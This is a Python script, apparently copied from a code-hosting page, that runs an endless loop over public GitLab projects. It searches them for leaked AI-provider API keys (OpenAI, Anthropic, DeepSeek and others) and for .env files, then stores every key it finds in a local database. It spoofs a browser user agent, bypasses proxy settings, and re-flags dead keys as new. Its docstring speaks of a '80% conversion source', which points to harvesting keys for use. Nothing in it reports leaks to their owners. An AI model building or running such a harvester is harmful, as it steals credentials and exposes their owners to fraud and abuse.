160 lines
5.1 KiB
Python
160 lines
5.1 KiB
Python
"""ETERNAL GitLab hunt (80% conversion source) — standalone process.
|
|
Project search -> per-project blob-search grep. Logs gitlab_eternal.log."""
|
|
import os
|
|
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
|
os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
|
|
import sqlite3
|
|
import sys
|
|
import time
|
|
import hashlib
|
|
import os
|
|
import urllib.request
|
|
import urllib.parse
|
|
import urllib.error
|
|
from key_patterns import scan_text
|
|
|
|
sys.path.insert(0, os.path.join(KF_BASE, "src"))
|
|
|
|
# Ignore env proxies (LANE_CONTRACT §4, trust_env-equivalent for urllib):
|
|
# ProxyHandler({}) does NOT fall back to getproxies_environment().
|
|
urllib.request.install_opener(
|
|
urllib.request.build_opener(urllib.request.ProxyHandler({})))
|
|
|
|
DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
|
|
LOG = os.environ.get("KF_LOG") or os.path.join(KF_BASE, "gitlab_eternal.log")
|
|
UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
|
|
|
|
SEARCH_QUERIES = [
|
|
"DASHSCOPE_API_KEY", "ZHIPU_API_KEY", "ZAI_API_KEY",
|
|
"OPENROUTER_API_KEY", "MOONSHOT_API_KEY", "KIMI_API_KEY",
|
|
"DEEPSEEK_API_KEY", "REPLICATE_API_TOKEN", "TOGETHER_API_KEY",
|
|
"FIREWORKS_API_KEY", "NVIDIA_API_KEY", "COHERE_API_KEY",
|
|
"GROQ_API_KEY", "SILICONFLOW_API_KEY", "ELEVENLABS_API_KEY",
|
|
"STABILITY_API_KEY", "ANTHROPIC_API_KEY", "OPENAI_API_KEY",
|
|
"filename:.env", "docker-compose",
|
|
]
|
|
|
|
MAX_DEPTH = 200_000
|
|
|
|
|
|
def log(msg):
|
|
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
|
|
print(line, flush=True)
|
|
with open(LOG, "a", encoding="utf-8", errors="replace") as f:
|
|
f.write(line)
|
|
|
|
|
|
def fetch(url, timeout=20):
|
|
for attempt in (0, 1):
|
|
try:
|
|
req = urllib.request.Request(url, headers=UA)
|
|
with urllib.request.urlopen(req, timeout=timeout) as r:
|
|
return r.read().decode(errors="replace")
|
|
except urllib.error.HTTPError as e:
|
|
if e.code == 429 and attempt == 0:
|
|
log("429 rate-limited, backoff 60s")
|
|
time.sleep(60)
|
|
continue
|
|
raise
|
|
|
|
|
|
def fetch_json(url, timeout=20):
|
|
import json
|
|
return json.loads(fetch(url, timeout))
|
|
|
|
|
|
def db_add_key(cur, seen, key, prov, repo):
|
|
if isinstance(key, tuple):
|
|
key = key[0]
|
|
if key in seen or len(key) < 25:
|
|
return 0
|
|
seen.add(key)
|
|
cur.execute(
|
|
"INSERT INTO keys (hash, val, prov, status, found, repo) "
|
|
"VALUES (?,?,?,?,?,?) "
|
|
"ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
|
|
"WHERE keys.status IN ('DEAD','ERR')",
|
|
(hashlib.sha1(key.encode()).hexdigest()[:16], key, prov, "NEW",
|
|
"gitlab", repo))
|
|
return 1
|
|
|
|
|
|
def blob_term(q):
|
|
"""Env-name queries double as blob-search terms; generic else."""
|
|
return q if "_" in q else "api_key"
|
|
|
|
|
|
def blob_search(pid, term):
|
|
try:
|
|
return fetch_json(
|
|
f"https://gitlab.com/api/v4/projects/{pid}/search"
|
|
f"?scope=blobs&search={urllib.parse.quote(term)}&per_page=20")
|
|
except Exception as e:
|
|
log(f" blob_search {pid} {term!r}: {str(e)[:60]}")
|
|
return []
|
|
|
|
|
|
def scan_project(cur, seen, pid, name, term):
|
|
"""GitLab-side grep: /search?scope=blobs returns matched lines in 'data'."""
|
|
n = 0
|
|
for h in blob_search(pid, term):
|
|
data = h.get("data", "")
|
|
path = h.get("path", "?")
|
|
if len(data) > MAX_DEPTH:
|
|
continue
|
|
for prov, key in scan_text(data):
|
|
if len(key) < 25:
|
|
continue
|
|
if db_add_key(cur, seen, key, prov, f"{name}/{path}"):
|
|
n += 1
|
|
log(f" + {prov} {key[:24]}... {name}/{path}")
|
|
time.sleep(0.3)
|
|
return n
|
|
|
|
|
|
def cycle(db, qi):
|
|
cur = db.cursor()
|
|
cur.execute("SELECT val FROM keys")
|
|
seen = {r[0] for r in cur.fetchall()}
|
|
total = 0
|
|
for i in range(3):
|
|
q = SEARCH_QUERIES[qi % len(SEARCH_QUERIES)]
|
|
qi += 1
|
|
try:
|
|
projects = fetch_json(
|
|
"https://gitlab.com/api/v4/projects?search="
|
|
+ urllib.parse.quote(q.replace("_API_KEY", "").replace("filename:", "").lower())
|
|
+ "&per_page=20&order_by=last_activity_at&sort=desc&simple=true")
|
|
except Exception as e:
|
|
log(f"search {q!r} err: {str(e)[:60]}")
|
|
continue
|
|
log(f"query {q!r}: {len(projects)} projects")
|
|
for p in projects[:12]:
|
|
pid, name = p.get("id"), p.get("path_with_namespace", "?")
|
|
try:
|
|
n = scan_project(cur, seen, pid, name, blob_term(q))
|
|
total += n
|
|
except Exception as e:
|
|
log(f" project {name} err: {str(e)[:50]}")
|
|
time.sleep(1.2)
|
|
time.sleep(3)
|
|
db.commit()
|
|
return total, qi
|
|
|
|
|
|
def main():
|
|
log(f"=== gitlab eternal START pid={__import__('os').getpid()} ===")
|
|
db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
|
|
qi = 0
|
|
while True:
|
|
try:
|
|
n, qi = cycle(db, qi)
|
|
log(f"CYCLE done: +{n}; resting 5min")
|
|
except Exception as e:
|
|
log(f"cycle error (continuing): {e}")
|
|
time.sleep(300)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|